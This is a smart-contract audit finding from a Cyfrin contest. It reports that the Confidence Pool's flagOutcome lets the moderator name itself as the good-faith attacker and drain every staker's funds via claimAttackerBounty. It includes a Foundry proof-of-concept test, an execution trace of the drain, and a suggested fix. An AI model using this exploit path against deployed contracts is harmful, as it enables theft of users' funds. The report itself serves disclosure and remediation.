BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

Missing `attacker_ != outcomeModerator` check in `flagOutcome` + moderator can drain the entire pool via `claimAttackerBounty`

Author Revealed upon completion

Description

When a pool's registry genuinely reaches CORRUPTED, the moderator calls
flagOutcome(CORRUPTED, goodFaith_, attacker_) to record whether the breach was bad-faith (full
pool swept to recoveryAddress) or good-faith, in which case attacker_ is meant to identify an
independent whitehat who is rewarded with a bounty for responsibly surfacing the corruption.

flagOutcome never checks that attacker_ is distinct from outcomeModerator (or from anyone) —
it only rejects the zero address. Since claimAttackerBounty() pays out to whichever address
msg.sender == attacker, the moderator can simply name itself as the good-faith attacker and then
call claimAttackerBounty() to collect the full snapshot — every staker's principal plus the
entire bonus pool — with no independent whitehat ever involved.

ConfidencePool.sol:322-379 (flagOutcome)

// src/ConfidencePool.sol
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
...
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
if (!goodFaith_) {
if (attacker_ != address(0)) revert InvalidGoodFaithParams();
} else {
@> if (attacker_ == address(0)) revert InvalidGoodFaithParams(); // only non-zero is checked
}
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}
...
@> attacker = attacker_; // accepted with no identity restriction — can equal outcomeModerator
...
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0; // the entire pool
...
}
​
function claimAttackerBounty() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (bountyClaimed == bountyEntitlement) revert BountyAlreadyClaimed();
if (!goodFaith) revert InvalidGoodFaithParams();
@> if (msg.sender != attacker) revert NotAttacker(); // trivially satisfied when moderator == attacker
if (block.timestamp > corruptedClaimDeadline) revert ClaimWindowExpired();
​
uint256 remaining = bountyEntitlement - bountyClaimed;
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 payout = remaining <= freeBalance ? remaining : freeBalance;
...
@> stakeToken.safeTransfer(attacker, payout); // pays the self-named moderator the whole pool
}

Risk

Likelihood:

  • This occurs whenever the registry genuinely reaches CORRUPTED and the moderator calls flagOutcome(CORRUPTED, true, <own address>) — CORRUPTED is a normal, designed-for resolution path (not a rare edge case), and nothing in flagOutcome or claimAttackerBounty distinguishes the moderator's own address from any other candidate attacker.

  • The re-flag window (open until claimsStarted, which only flips on the first successful claim) lets the moderator overwrite a previously-honest attacker_ with its own address at any point before anyone claims, and, when outcomeModerator is a contract, flagOutcome + claimAttackerBounty can be bundled into a single transaction — no multi-block window, favorable mempool ordering, or race condition is required.

Impact:

  • Complete, permanent loss of 100% of the pool's staked principal and contributed bonus (snapshotTotalStaked + snapshotTotalBonus) to the moderator in a single transaction.

  • Stakers have no on-chain defense or exit at the point this becomes exploitable: withdraw() is already permanently disabled once riskWindowStart != 0, which is latched before the registry can reach CORRUPTED.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
​
contract E1ModeratorSelfDeal is BaseConfidencePoolTest {
function test_moderatorNamesItselfAndDrainsPool() public {
// Two honest stakers put in 1,000 tokens each.
_stake(alice, 1_000 * ONE);
_stake(bob, 1_000 * ONE);
uint256 poolTotal = token.balanceOf(address(pool));
assertEq(poolTotal, 2_000 * ONE);
​
// Registry genuinely reaches CORRUPTED (moderator does not control this part).
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
// Moderator flags CORRUPTED as "good faith" and names ITSELF as the attacker.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, moderator);
​
uint256 before = token.balanceOf(moderator);
vm.prank(moderator);
pool.claimAttackerBounty();
uint256 afterBal = token.balanceOf(moderator);
​
assertEq(afterBal - before, poolTotal); // moderator drained the full pool
assertEq(token.balanceOf(address(pool)), 0);
}
}

Run full debug: forge test --match-contract ModeratorSelfDeal -vvvv

Relevant excerpt from the -vvvv execution trace (self-naming call, the bounty drain, and the
before/after balances — full trace available on request, trimmed here to the load-bearing calls):

├─ [169707] ConfidencePool::flagOutcome(2, true, moderator: [0x62853092D02FA98524B9618334F605a1801432cA])
│ ├─ emit OutcomeFlagged(moderator: moderator: [0x628...], outcome: 2, goodFaith: true, attacker: moderator: [0x628...])
│ └─ ← [Stop]
├─ MockERC20::balanceOf(moderator: [0x628...]) [staticcall]
│ └─ ← [Return] 0 // moderator's balance BEFORE the claim
├─ [51322] ConfidencePool::claimAttackerBounty()
│ ├─ MockERC20::balanceOf(pool) [staticcall]
│ │ └─ ← [Return] 2000000000000000000000 [2e21] // full pool balance at claim time
│ ├─ MockERC20::transfer(moderator: [0x628...], 2000000000000000000000 [2e21])
│ │ ├─ emit Transfer(from: pool, to: moderator: [0x628...], amount: 2000000000000000000000 [2e21])
│ │ └─ ← [Return] true
│ ├─ emit AttackerBountyClaimed(attacker: moderator: [0x628...], amount: 2e21, totalClaimed: 2e21, totalEntitlement: 2e21)
│ └─ ← [Stop]
├─ MockERC20::balanceOf(moderator: [0x628...]) [staticcall]
│ └─ ← [Return] 2000000000000000000000 [2e21] // moderator's balance AFTER — took the full pool
└─ MockERC20::balanceOf(pool) [staticcall]
└─ ← [Return] 0 // pool is now empty

The OutcomeFlagged event is the key evidence line: moderator (the caller) and attacker (the
named party) are the identical address, emitted by the contract itself — not asserted by the test.
The subsequent Transfer/AttackerBountyClaimed events and the balance deltas (0 → 2e21 for the
moderator, 2e21 → 0 for the pool) show the full drain executing exactly as claimed.

Recommended Mitigation

} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
if (!goodFaith_) {
if (attacker_ != address(0)) revert InvalidGoodFaithParams();
} else {
if (attacker_ == address(0)) revert InvalidGoodFaithParams();
+ if (attacker_ == outcomeModerator) revert InvalidAttacker();
}
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}

A same-address check alone doesn't stop the moderator routing the bounty to a collaborator's
address instead of its own — treat this as a minimum fix, not a complete solution to moderator
trust concentration in this function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!